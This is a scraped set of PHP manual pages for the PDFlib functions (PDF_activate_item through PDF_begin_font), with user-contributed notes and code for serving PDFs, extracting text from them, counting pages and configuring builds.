header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: must-revalidate");
header("Content-type: application/pdf");
header("Content-Length: ".filesize($file));
header("Content-disposition: inline; filename=$file");
header("Accept-Ranges: ".filesize($file));
readfile($file);
exit();
?>
It would work fine in Mozilla Firefox (1.0.7) but with IE (6.0.2800.1106) it would not bring up the Adobe Reader plugin and instead ask me to save it or open it as a PHP file.

Oddly enough, I turned off ZLib.compression and it started working.  I guess the compression is confusing IE.  I tried leaving out the content-length header thinking maybe it was unmatched filesize (uncompressed number vs actual received compressed size), but then without it it screws up Firefox too.

What I ended up doing was disabling Zlib compression for the PDF output pages using ini_set:

<?
ini_set('zlib.output_compression','Off');
?>

Maybe this will help someone. Will post over in the PDF section as well.
ontwerp AT zonnet.nl 03-Nov-2005 08:01
I was searching for a lowcost/opensource option for combining static html files [as templates] and dynamic output from perl or php routines etc. And the sooner or later I found out that this was the most stable, 'speedest' and customizeable way to produce usable pdf 's with nice formatting :

1] create html page output [perl-> html output, direct html output from any app or php echo's etc. [sort these html files locally]

2] parse all html [inluding webimages links, tables font formatting etc] to [E]PS files with the perl app : html2ps [as mentioned beneath]
http://user.it.uu.se/~jan/html2ps.html [sort all ps files by future pdf page positions]

3] use the free ps2pdf/ps2pdfwr linux application
http://www.ps2pdf.com/convert/index.htm [uses gostscript, ghostview libs and so on etc]
Has great formatting options like headers, footers, numbering etc
[sort pdf files]

4] convert all pdf files to 1 pdf file with : pdftk [pdftoolkit], deliveres optional compressions/encryption, background stamps etc

One should ask why using different scripts :
- combination perl/php is great : perl is speedier at some issues like conversion to ps files in my experience
- ps to pdf is quickier then direct php to pdf [in my exp.!]
- I have total control over every files whenever i change html files as a template I use only editors or other app. for it [online or offline].

p.s. I had to make a opensource solution for creating simpel report analyses that's based on things like :
- first page [name / title / #/ date]
- some static info [like introduction, copyrights etc]
- some dynamic info [outputted from php->dbase queries] combined
with html tags/images etc.

And this all mixed [so seperated in files for transparancy]. Also the 3 way manner : data-> html, html->ps, ps->pdf, is easier and quickier to program or adjust in every step.

Correct me if i'm wrong [mail me to]

ing. Valentijn Langendorff
Design & Technologist
ragnar at deulos dot com 08-Oct-2005 04:30
After one hole day understanding how pdflib works i got the conclusion that its enough hard to draw just with words to furthermore for drawing a line maybe you will need something like four lines of code, so i did my own functions to do the life easier and the code more understable to modify and draw. I also made a function that will draw a rect with the corners round and the posibility even to fill it ;)

You can get it from http://www.deulos.com/pdf_php.php

feel free to make suggestions or whatever u like ;o)
thodge at ipswich dot qld dot gov dot au 05-Sep-2005 07:22
Yet another addition to the PDF text extraction code last posted by jorromer. The code only seemed to work for PDF 1.2 (Acrobat 3.x) or below. This pdfExtractText function uses regular expressions to cover cases I have found in PDF 1.3 and 1.4 documents. The code also handles closing brackets in the text stream, which were ignored by the previous version. My regular expression skills are somewhat lacking, so improvements may possible by a more skilled programmer. I'm sure there are still cases that this function will not handle, but I haven't come across any yet...

<?php

function pdf2string($sourcefile) {

    $fp = fopen($sourcefile, 'rb');
    $content = fread($fp, filesize($sourcefile));
    fclose($fp);

    $searchstart = 'stream';
    $searchend = 'endstream';
    $pdfText = '';
    $pos = 0;
    $pos2 = 0;
    $startpos = 0;

    while ($pos !== false && $pos2 !== false) {

        $pos = strpos($content, $searchstart, $startpos);
        $pos2 = strpos($content, $searchend, $startpos + 1);

        if ($pos !== false && $pos2 !== false){

            if ($content[$pos] == 0x0d && $content[$pos + 1] == 0x0a) {
                $pos += 2;
            } else if ($content[$pos] == 0x0a) {
                $pos++;
            }

            if ($content[$pos2 - 2] == 0x0d && $content[$pos2 - 1] == 0x0a) {
                $pos2 -= 2;
            } else if ($content[$pos2 - 1] == 0x0a) {
                $pos2--;
            }

            $textsection = substr(
                $content,
                $pos + strlen($searchstart) + 2,
                $pos2 - $pos - strlen($searchstart) - 1
            );
            $data = @gzuncompress($textsection);
            $pdfText .= pdfExtractText($data);
            $startpos = $pos2 + strlen($searchend) - 1;

        }
    }

    return preg_replace('/(\s)+/', ' ', $pdfText);

}

function pdfExtractText($psData){

    if (!is_string($psData)) {
        return '';
    }

    $text = '';

    // Handle brackets in the text stream that could be mistaken for
    // the end of a text field. I'm sure you can do this as part of the
    // regular expression, but my skills aren't good enough yet.
    $psData = str_replace('\)', '##ENDBRACKET##', $psData);
    $psData = str_replace('\]', '##ENDSBRACKET##', $psData);

    preg_match_all(
        '/(T[wdcm*])[\s]*(\[([^\]]*)\]|\(([^\)]*)\))[\s]*Tj/si',
        $psData,
        $matches
    );
    for ($i = 0; $i < sizeof($matches[0]); $i++) {
        if ($matches[3][$i] != '') {
            // Run another match over the contents.
            preg_match_all('/\(([^)]*)\)/si', $matches[3][$i], $subMatches);
            foreach ($subMatches[1] as $subMatch) {
                $text .= $subMatch;
            }
        } else if ($matches[4][$i] != '') {
            $text .= ($matches[1][$i] == 'Tc' ? ' ' : '') . $matches[4][$i];
        }
    }

    // Translate special characters and put back brackets.
    $trans = array(
        '...'                => '…',
        '\205'                => '…',
        '\221'                => chr(145),
        '\222'                => chr(146),
        '\223'                => chr(147),
        '\224'                => chr(148),
        '\226'                => '-',
        '\267'                => '•',
        '\('                => '(',
        '\['                => '[',
        '##ENDBRACKET##'    => ')',
        '##ENDSBRACKET##'    => ']',
        chr(133)            => '-',
        chr(141)            => chr(147),
        chr(142)            => chr(148),
        chr(143)            => chr(145),
        chr(144)            => chr(146),
    );
    $text = strtr($text, $trans);

    return $text;

}

?>
jorromer at uchile dot cl -- Krash 07-Jun-2005 07:51
I recently use mattb code below for the extraction of text from PDF files. I modify this code for only extract text fields.

Hope i can help some one

Here is the Function

<?php

  $text = pdf2string("file.pdf");
  echo $text;

  function pdf2string($sourcefile){
    $fp = fopen($sourcefile, 'rb');
    $content = fread($fp, filesize($sourcefile));
    fclose($fp);

    $searchstart = 'stream';
    $searchend = 'endstream';
    $pdfdocument = '';
    $pos = 0;
    $pos2 = 0;
    $startpos = 0;

    while( $pos !== false && $pos2 !== false ){
      $pos = strpos($content, $searchstart, $startpos);
      $pos2 = strpos($content, $searchend, $startpos + 1);

      if ($pos !== false && $pos2 !== false){
        if ($content[$pos]==0x0d && $content[$pos+1]==0x0a) $pos+=2;
        else if ($content[$pos]==0x0a) $pos++;

        if ($content[$pos2-2]==0x0d && $content[$pos2-1]==0x0a) $pos2-=2;
        else if ($content[$pos2-1]==0x0a) $pos2--;

        $textsection = substr($content, $pos + strlen($searchstart) + 2, $pos2 - $pos - strlen($searchstart) - 1);
        $data = @gzuncompress($textsection);
        $data = ExtractText2($data);
        $startpos = $pos2 + strlen($searchend) - 1;

        if ($data === false){
          return -1;}

        $pdfdocument .= $data;}}
   return $pdfdocument;}

function ExtractText2($postScriptData){
  $sw = true;
  $textStart = 0;
  $len = strlen($postScriptData);

  while ($sw){
    $ini = strpos($postScriptData, '(', $textStart);
    $end = strpos($postScriptData, ')', $textStart+1);
    if (($ini>0) && ($end>$ini)){
      $valtext = strpos($postScriptData,'Tj',$end+1);
      if ($valtext == $end + 2)
        $text .= substr($postScriptData,$ini+1,$end - $ini - 1);}

    $textStart = $end + 1;
    if ($len<=$textStart) $sw=false;

    if (($ini == 0) && ($end == 0)) $sw=false;}

  $trans = array("\\341" => "a","\\351" => "e","\\355" => "i","\\363" => "o","\\223" => "","\\224" => "");
  $text  = strtr($text, $trans);
  return $text;
}
?>
webadmin at secretscreen dot com 05-Apr-2005 11:51
I found this info about pdflib scope on a Chinese (I think) site and translated it.  I was trying to do pdf_setfont and kept getting the wrong scope error.  Turns out it has to be in the Page scope.  So pdf_setfont will only work when called between pdf_begin_page and pdf_end_page.

#########################################
When API of the PDFlib is called, the error, Can't - IN 'document' scope occurs
There is a concept of " the scope " in the PDFlib, as for all API of the PDFlib it is called with some scope, the *1 which is decided This error occurs when it is called other than the scope where API is appointed. The chart below in reference, please verify API call position.

Path: PDF_moveto (), PDF_circle (), PDF_arc (), PDF_arcn (), PDF_rect () in each case PDF_stroke (), PDF_closepath_stroke (), PDF_fill (), PDF_fill_stroke (), PDF_closepath_fill_stroke (), PDF_clip (), PDF_endpath () the between

Page: PDF_begin_page () with PDF_end_page () in between outside path

Template: PDF_begin_template () with PDF_end_template () in between outside path

Pattern: PDF_begin_pattern () with PDF_end_pattern () in between outside path

Font: PDF_begin_font () with PDF_end_font () in between outside glyph

Glyph: PDF_begin_glyph () with PDF_end_glyph () in between outside path

Document: PDF_open_* () with PDF_close () in between outside page tempalte and pattern

Object: The PDF_new () with the PDF_delete () it belongs to the other no scope in between the place

Null: Outside object

Any: All scopes other than

##########################################

Hope this helps others as much as it helped me!!!
chu61 dot tw at gmail dot com 07-Mar-2005 04:57
How to get how many pages in a PDF? I read PDF spec. V1.6 and find this:

PDF set  a "Page Tree Node" to define the ordering of pages in the document. The tree structure allows PDF applications, using little memory to quickly open a document containing thousands of pages.

If a PDF have 63 pages, the page tree node will like this...

2 0 obj
<< /Type /Pages
    /Kidsn [ 4 0 R
               10 0 R
             ]
     /Count 63        <---- YES, got it
>>
endobj

[P.S]   a  PDF may not only a pages tree node, The right answer is in "root page tree node", if  /Count XX with  /Parent XXX node, it not "root page tree node"

SO, You must find the node with /Count XX and Without /Parent  terms, and you'll get total pages of PDF

%PDF-1.0  ~  %PDF-1.5 all works

Alex form Taipei,Taiwan
michi (Alt+Q) marel.at 01-Jul-2004 04:10
<?PHP
/* A little helpful function to calculate millimeters to points */
function calcToPt($intMillimeter) {
  $intPoints = ($intMillimeter*72)/25.4;
  $intPoints = round($intPoints);
  return $intPoints;
}

/* For example: Create DIN A4 210x297 mm */
pdf_begin_page( $pdf, calcToPt(210), calcToPt(297)); // 595x842 pt
?>
donatas at spurgius dot com 22-Jun-2004 09:56
I've been looking for a way to extract plain text from PDF documents (needed to search for text inside 'em). Not being able to find one I wrote the needed functions myself. here you go folks.

<?php
  function pdf2string ($sourceFile)
  {
    $textArray = array ();
    $objStart = 0;

    $fp = fopen ($sourceFile, 'rb');
    $content = fread ($fp, filesize ($sourceFile));
    fclose ($fp);

    $searchTagStart = chr(13).chr(10).'stream';
    $searchTagStartLenght = strlen ($searchTagStart);

    while ((($objStart = strpos ($content, $searchTagStart, $objStart)) && ($objEnd = strpos ($content, 'endstream', $objStart+1))))
    {
      $data = substr ($content, $objStart + $searchTagStartLenght + 2, $objEnd - ($objStart + $searchTagStartLenght) - 2);
      $data = @gzuncompress ($data);

      if ($data !== FALSE && strpos ($data, 'BT') !== FALSE && strpos ($data, 'ET') !== FALSE)
      {
        $textArray [] = ExtractText ($data);
      }

      $objStart = $objStart < $objEnd ? $objEnd : $objStart + 1;
    }

    return $textArray;
  }

  function ExtractText ($postScriptData)
  {
    while ((($textStart = strpos ($postScriptData, '(', $textStart)) && ($textEnd = strpos ($postScriptData, ')', $textStart + 1)) && substr ($postScriptData, $textEnd - 1) != '\\'))
    {
      $plainText .= substr ($postScriptData, $textStart + 1, $textEnd - $textStart - 1);
      if (substr ($postScriptData, $textEnd + 1, 1) == ']') //this adds quite some additional spaces between the words
      {
        $plainText .= ' ';
      }

      $textStart = $textStart < $textEnd ? $textEnd : $textStart + 1;
    }

    return stripslashes ($plainText);
  }
?>
uwe at steinmann dot cx 13-May-2004 03:25
Those looking for a free replacement of pdflib may consider
pslib at http://pslib.sourceforge.net which produces PostScript but it can be easily turned into PDF by Acrobat Distiller or ghostscript. The API is very similar and even hypertext functions are supported. There
is also a php extension for pslib in PECL, called ps.
bmironov at jonview dot com 25-Jun-2003 12:46
RedHat 9 + Apache 2.0 + PHP 4.3.2 + Oracle 9i + PDFlib 5.0.1 (binary distribution)

It seems to be a working bundle if you do some magic with ./configure:

RedHat 9:
kernel-2.4.20-18.9

Apache 2.0.46:
./configure --enable-so --enable-rewrite=shared --enable-status --enable-mpm=prefork

PHP 4.3.2:
./configure \
--program-prefix= \
--prefix=/usr \
--exec-prefix=/usr \
--bindir=/usr/bin \
--sbindir=/usr/sbin \
--sysconfdir=/etc \
--datadir=/usr/share \
--includedir=/usr/include \
--libdir=/usr/lib \
--libexecdir=/usr/libexec \
--localstatedir=/var \
--sharedstatedir=/usr/com \
--mandir=/usr/share/man \
--infodir=/usr/share/info \
--with-config-file-path=/etc \
--with-config-file-scan-dir=/etc/php.d \
--without-tsrm-pthreads \    # !!!!!!!!!!!!!!!!!!!!
--with-zlib \
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--without-mysql \
--with-apxs2filter=/usr/local/apache2/bin/apxs \
--with-oci8 \
--enable-sigchild \
--enable-inline-optimization

Oracle9i:
ln -s $ORACLE_HOME/rdbms/public/nzerror.h $ORACLE_HOME/rdbms/demo/nzerror.h

ln -s $ORACLE_HOME/rdbms/public/nzt.h $ORACLE_HOME/rdbms/demo/nzt.h

ln -s $ORACLE_HOME/rdbms/public/ociextp.h $ORACLE_HOME/rdbms/demo/ociextp.h

If you want to use bundled GD-library then:
1) install following packages: libjpeg, libjpeg-devel, libpng, libpng-devel, freetype, freetype-devel, libtiff, libtiff-devel, zlib, zlib-devel

2) ln -s /usr/lib/libjpeg.so.62 /usr/lib/libjpeg.so
ln -s /usr/lib/libpng.so.62 /usr/lib/libpng.so

It seems to be a working combination, because it is NOT give you:
1) error message in Apache's error_log:
Module compiled with module API=20020429, debug=0, thread-safety=0
PHP compiled with module API=20020429, debug=0, thread-safety=1

2) error message in Apache's error_log:
[notice] child pid 12345 exit signal Segmentation fault (11)

3) MS Internet Explorer can show PDF-output from your PHP-script via Acrobat plug-in and does not crush. No confusing messages about opening "Adobe Acrobat Control for ActiveX".

Hope it will save you some time.

Good luck,
Boris
pbierans at lynet dot de 27-Mar-2002 06:56
Load extension, open a PDF, add a font, modify PDF in memory and send
it to browser:

<?php
  // no cache headers:
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");

  $ext_name="libpdf_php.so";
    // libpdf_php.so is the PDFLIB for SunOS by "PDFlib GmbH"
    // visit http://www.pdflib.com

  // if the extension is not automatically loaded by Apache
  // dl() will try to load it on demand:
  if (!extension_loaded($ext_name) && !@dl($ext_name))
  {
    ?>
    <table width="100%" border="0"><tr><td align="center">
      <table style="border: solid #f0f0f0 2px;"><tr>
        <td valign="middle" style="padding: 20px; margin: 0px;">
          <p style="font-family: arial; font-size: 12px; ">
          <b>Sorry,</b><br>
          &nbsp;<br>
          A PDF can not be generated right now.<br>
          The administrator has been informed and will fix this as
          soon as possible.<br>
          Please try again later.
        </p>
      </td></tr></table>
    </td></tr></table>
    <?php
    mail('admin@domain.com','Error: PDFLib not found',
         'Called by script:\n  '.$SCRIPT_FILENAME.'?'.$QUERY_STRING,
         "From: warnings@domain.com\n");
    exit;
  } // verify that extension is usable

  // unique serial number:
  srand(microtime()*10000);
  $usnr= gmdate("Ymd-His-").rand(1000,9999).'-';
  $pdf_file=$usnr.'result.pdf';
  $src_file='source.pdf';

  // create pdf object
  $pdf = pdf_new();
  pdf_open_file($pdf);
  pdf_set_parameter($pdf, 'serial',      'if-you-have-one');

  // fonts to embed, they are in the folder of this file:
  pdf_set_parameter($pdf, 'FontAFM',     'TradeGothic=Tg______.afm');
  pdf_set_parameter($pdf, 'FontOutline', 'TradeGothic=Tg______.pfb');
  pdf_set_parameter($pdf, 'FontPFM',     'TradeGothic=Tg______.pfm');

  // load the source file:
  $src_doc   =pdf_open_pdi($pdf,$src_file,'', 0);
  $src_page  =pdf_open_pdi_page($pdf,$src_doc,1,'');
  $src_width =pdf_get_pdi_value($pdf,'width' ,$src_doc,$src_page,0);
  $src_height=pdf_get_pdi_value($pdf,'height',$src_doc,$src_page,0);

  pdf_begin_page($pdf, $src_width, $src_height);
  {
    // place the sourcefile to the background of the actual page:
    pdf_place_pdi_page($pdf,$src_page,0,0,1,1);
    pdf_close_pdi_page($pdf,$src_page);

    // modify the page:
    pdf_set_font($pdf, 'TradeGothic', 8, 'host');
    pdf_show_xy($pdf, 'Now: '.gmdate("Y-m-d H:i:s"),50,50);
  }
  pdf_end_page($pdf);
  pdf_close($pdf);

  // prepare output:
  $pdfdata = pdf_get_buffer($pdf); // to echo the pdf-data
  $pdfsize = strlen($pdfdata);     // IE requires the datasize

  // real datatype headers:
  header('Content-type: application/pdf');
  header('Content-disposition: attachment; filename="'.$pdf_file.'"');
  header('Content-length: '.$pdfsize);
  echo $pdfdata;
  exit; // keep this one so no #13#10 or #32 will be written
?>


Activate structure element or other content item

  • « PDF Functions
  • PDF_add_annotation »
  • PHP Manual
  • PDF Functions
  • Activate structure element or other content item

PDF_activate_item

(PECL pdflib >= 2.0.0)

PDF_activate_item — Activate structure element or other content item

Description

bool PDF_activate_item ( resource $pdfdoc , int $id )

Activates a previously created structure element or other content item. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Add annotation [deprecated]

  • « PDF_activate_item
  • PDF_add_bookmark »
  • PHP Manual
  • PDF Functions
  • Add annotation [deprecated]

PDF_add_annotation

(PHP 4, PECL pdflib >= 1.0.0)

PDF_add_annotation — Add annotation [deprecated]

Description

This function is deprecated, use PDF_create_annotation() with type=Text instead.

User Contributed Notes

There are no user contributed notes for this page.


Add bookmark for current page [deprecated]

  • « PDF_add_annotation
  • PDF_add_launchlink »
  • PHP Manual
  • PDF Functions
  • Add bookmark for current page [deprecated]

PDF_add_bookmark

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_add_bookmark — Add bookmark for current page [deprecated]

Description

This function is deprecated since PDFlib version 6, use PDF_create_bookmark() instead.

User Contributed Notes

There are no user contributed notes for this page.


Add launch annotation for current page [deprecated]

  • « PDF_add_bookmark
  • PDF_add_locallink »
  • PHP Manual
  • PDF Functions
  • Add launch annotation for current page [deprecated]

PDF_add_launchlink

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_add_launchlink — Add launch annotation for current page [deprecated]

Description

bool PDF_add_launchlink ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $filename )

Adds a link to a web resource.

This function is deprecated since PDFlib version 6,
use PDF_create_action() with
type=Launch and
PDF_create_annotation() with
type=Link instead.

User Contributed Notes

rhys at NOSPAM dot rhysmeister dot com 20-Jul-2004 02:24
pdf_add_launchlink($pdf, 300, 300, 325, 325, "http://www.google.co.uk");

The numbers plot a shape on the page. The first two plot the lower left corner and the next pair plot the upper right hand corner. Links can also be made to the local filesystem.


Add link annotation for current page [deprecated]

  • « PDF_add_launchlink
  • PDF_add_nameddest »
  • PHP Manual
  • PDF Functions
  • Add link annotation for current page [deprecated]

PDF_add_locallink

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_add_locallink — Add link annotation for current page [deprecated]

Description

bool PDF_add_locallink ( resource $pdfdoc , float $lowerleftx , float $lowerlefty , float $upperrightx , float $upperrighty , int $page , string $dest )

Add a link annotation to a target within the current PDF file. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use
PDF_create_action() with type=GoTo
and PDF_create_annotation() with
type=Link instead.

User Contributed Notes

There are no user contributed notes for this page.


Create named destination

  • « PDF_add_locallink
  • PDF_add_note »
  • PHP Manual
  • PDF Functions
  • Create named destination

PDF_add_nameddest

(PECL pdflib >= 2.0.0)

PDF_add_nameddest — Create named destination

Description

bool PDF_add_nameddest ( resource $pdfdoc , string $name , string $optlist )

Creates a named destination on an arbitrary page in the current document. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set annotation for current page [deprecated]

  • « PDF_add_nameddest
  • PDF_add_outline »
  • PHP Manual
  • PDF Functions
  • Set annotation for current page [deprecated]

PDF_add_note

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_add_note — Set annotation for current page [deprecated]

Description

bool PDF_add_note ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $contents , string $title , string $icon , int $open )

Sets an annotation for the current page. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_create_annotation() with type=Text instead.

User Contributed Notes

There are no user contributed notes for this page.


Add bookmark for current page [deprecated]

  • « PDF_add_note
  • PDF_add_pdflink »
  • PHP Manual
  • PDF Functions
  • Add bookmark for current page [deprecated]

PDF_add_outline

(PHP 4, PECL pdflib >= 1.0.0)

PDF_add_outline — Add bookmark for current page [deprecated]

Description

This function is deprecated, use PDF_create_bookmark() instead.

User Contributed Notes

There are no user contributed notes for this page.


Add file link annotation for current page [deprecated]

  • « PDF_add_outline
  • PDF_add_table_cell »
  • PHP Manual
  • PDF Functions
  • Add file link annotation for current page [deprecated]

PDF_add_pdflink

(PHP 4, PECL pdflib >= 1.0.0)

PDF_add_pdflink — Add file link annotation for current page [deprecated]

Description

bool PDF_add_pdflink ( resource $pdfdoc , float $bottom_left_x , float $bottom_left_y , float $up_right_x , float $up_right_y , string $filename , int $page , string $dest )

Add a file link annotation to a PDF target. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use
PDF_create_action() with
type=GoToR and
PDF_create_annotation() with
type=Link instead.

User Contributed Notes

There are no user contributed notes for this page.


Add a cell to a new or existing table

  • « PDF_add_pdflink
  • PDF_add_textflow »
  • PHP Manual
  • PDF Functions
  • Add a cell to a new or existing table

PDF_add_table_cell

(PECL pdflib >= 2.1.0)

PDF_add_table_cell — Add a cell to a new or existing table

Description

int PDF_add_table_cell ( resource $pdfdoc , int $table , int $column , int $row , string $text , string $optlist )

Adds a cell to a new or existing table.

User Contributed Notes

There are no user contributed notes for this page.


Create Textflow or add text to existing Textflow

  • « PDF_add_table_cell
  • PDF_add_thumbnail »
  • PHP Manual
  • PDF Functions
  • Create Textflow or add text to existing Textflow

PDF_add_textflow

(PECL pdflib >= 2.1.0)

PDF_add_textflow — Create Textflow or add text to existing Textflow

Description

int PDF_add_textflow ( resource $pdfdoc , int $textflow , string $text , string $optlist )

Creates a Textflow object, or adds text and explicit options to an existing Textflow.

User Contributed Notes

Rich M. 24-Jul-2013 05:33
FYI -- PDFlib Lite does not support textflow(s).
david 01-Oct-2008 06:19
If you get an error like this:

PHP Fatal error:  Allowed memory size of 16777216 bytes exhausted (tried to allocate 3072 bytes) in /var/www/html/pdf/starter_textflow.php on line 70

It is because you are sending too much data to the "add_textflow" function.  Increasing the memory in the php.ini file won't fix the problem.  The solution is to try buffering the data you send to the function.

For example, if this fails:

<?php
$text=
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. ";

//send lots of data all at once
$max=100;
for($i=0;$i<$max;$i++)
   $text .= $text;

$tf = $p->add_textflow($tf, $text, $optlist1);
?>

Try something like this instead:

<?php
$text=
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. ";

//send chunks of data
$max=100;
for($i=0;$i<$max;$i++)
   $tf = $p->add_textflow($tf, $text, $optlist1);
?>

In the second example we send less data, but we call the function more often.  With the first example, I could only generate 3 or 4 pages of a PDF; with the latter example I could generate 200+ page PDF's.

This took me a while to debug; hope it saves someone else some time. :)


Add thumbnail for current page

  • « PDF_add_textflow
  • PDF_add_weblink »
  • PHP Manual
  • PDF Functions
  • Add thumbnail for current page

PDF_add_thumbnail

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_add_thumbnail — Add thumbnail for current page

Description

bool PDF_add_thumbnail ( resource $pdfdoc , int $image )

Adds an existing image as thumbnail for the current page. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Add weblink for current page [deprecated]

  • « PDF_add_thumbnail
  • PDF_arc »
  • PHP Manual
  • PDF Functions
  • Add weblink for current page [deprecated]

PDF_add_weblink

(PHP 4, PECL pdflib >= 1.0.0)

PDF_add_weblink — Add weblink for current page [deprecated]

Description

bool PDF_add_weblink ( resource $pdfdoc , float $lowerleftx , float $lowerlefty , float $upperrightx , float $upperrighty , string $url )

Adds a weblink annotation to a target url on the Web. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use
PDF_create_action() with type=URI
and PDF_create_annotation() with
type=Link instead.

User Contributed Notes

js at justnet dot com dot au 06-Jun-2002 06:22
The example given in the above comment is potentially confusing, since the 4th and 5th arguments appear to be the width and height of the link area, but are actually the coordinates of the diagonally opposite corner. This is much more evident when the starting point for the weblink is something other than 0,0 (which is of course very likely).

A better example:

$starting_xpos = 100;
$starting_ypos = 150;
pdf_add_weblink($pdf, $starting_xpos, $starting_ypos, $starting_xpos + $width, $starting_ypos + $height, "http://goweb.com.au/");
bob at nijman dot de 02-Aug-2001 04:55
Try this:

<?php

//create & open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");

//the interesting bit...
$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
$width = pdf_get_image_width($pdf, $pdfimage);
$height = pdf_get_image_height($pdf, $pdfimage);
pdf_begin_page($pdf, 421, 595);
pdf_place_image($pdf, $pdfimage, 0, 0, 1);
pdf_add_weblink($pdf, 0, 0, $width, $height, "http://www.hackeschermarkt.de");

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>


Draw a counterclockwise circular arc segment

  • « PDF_add_weblink
  • PDF_arcn »
  • PHP Manual
  • PDF Functions
  • Draw a counterclockwise circular arc segment

PDF_arc

(PHP 4, PECL pdflib >= 1.0.0)

PDF_arc — Draw a counterclockwise circular arc segment

Description

bool PDF_arc ( resource $p , float $x , float $y , float $r , float $alpha , float $beta )

Adds a counterclockwise circular arc.

User Contributed Notes

There are no user contributed notes for this page.


Draw a clockwise circular arc segment

  • « PDF_arc
  • PDF_attach_file »
  • PHP Manual
  • PDF Functions
  • Draw a clockwise circular arc segment

PDF_arcn

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_arcn — Draw a clockwise circular arc segment

Description

bool PDF_arcn ( resource $p , float $x , float $y , float $r , float $alpha , float $beta )

Except for the drawing direction, this function behaves exactly like PDF_arc().

User Contributed Notes

There are no user contributed notes for this page.


Add file attachment for current page [deprecated]

  • « PDF_arcn
  • PDF_begin_document »
  • PHP Manual
  • PDF Functions
  • Add file attachment for current page [deprecated]

PDF_attach_file

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_attach_file — Add file attachment for current page [deprecated]

Description

bool PDF_attach_file ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $filename , string $description , string $author , string $mimetype , string $icon )

Adds a file attachment annotation. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_create_annotation() with type=FileAttachment instead.

User Contributed Notes

ilia at prohost dot org 18-May-2003 01:52
Only the 'Full' Acrobat software will be able to display file attachments. All others will either show nothing or display a question mark.


Create new PDF file

  • « PDF_attach_file
  • PDF_begin_font »
  • PHP Manual
  • PDF Functions
  • Create new PDF file

PDF_begin_document

(PECL pdflib >= 2.0.0)

PDF_begin_document — Create new PDF file

Description

int PDF_begin_document ( resource $pdfdoc , string $filename , string $optlist )

Creates a new PDF file subject to various options.

User Contributed Notes

walterdolce at gmail dot com 10-Aug-2012 07:40
If you want a complete documentation on the entire PDFlib is it possible to download, read and study the reference .pdf file (and related) on [ http://www.pdflib.com/fileadmin/pdflib/pdf/manuals/PDFlib-7-API-reference.pdf ]

Note that this link points to a precise version of the library. You may want to check newer versions in the future on the same domain.
daniel at objective-view dot de 09-Mar-2008 01:03
Creating a PDF with a defined PDF-Version (1.6 in this case) works like this:

if (PDF_begin_document($p,  "", "compatibility 1.6") == 0) {
    die("Error: " . PDF_get_errmsg($p));
}
wheatin at gmail dot com 08-Nov-2007 03:43
There doesn't seem to be much documentation on setting options with this function, but here's the format for setting some basic things:

$optlist = "destination={page=1 type=fixed zoom=1 top=100 left=50}";
PDF_begin_document($pdfdoc, $filename, $optlist );

the '=' character can be replaced with a space, but I think '=' makes the code more readable.
Also, you must include 'type=fixed' to use 'zoom','left', or 'top'. You can set 'page' without it, though.
Hope this helps. And if anybody knows a good reference for the options that can be set here and what the format is, please link.


Start a Type 3 font definition

  • « PDF_begin_document
  • PDF_begin_glyph »
  • PHP Manual
  • PDF Functions
  • Start a Type 3 font definition

PDF_begin_font

(PECL pdflib >= 2.0.0)

PDF_begin_font — Start a Type 3 font definition

Description

bool PDF_begin_font ( resource $pdfdoc , string $filename , float $a , float $b , float $c , float $d , float $e , float $f , string $optlist )

Starts a Type 3 font definition.

User Contributed Notes

Greg Field 16-Feb-2010 07:56
From the PDFLib site's documentation:

fontname (Name string) The name under which the font will be registered, and can later be used with PDF_load_font( ).

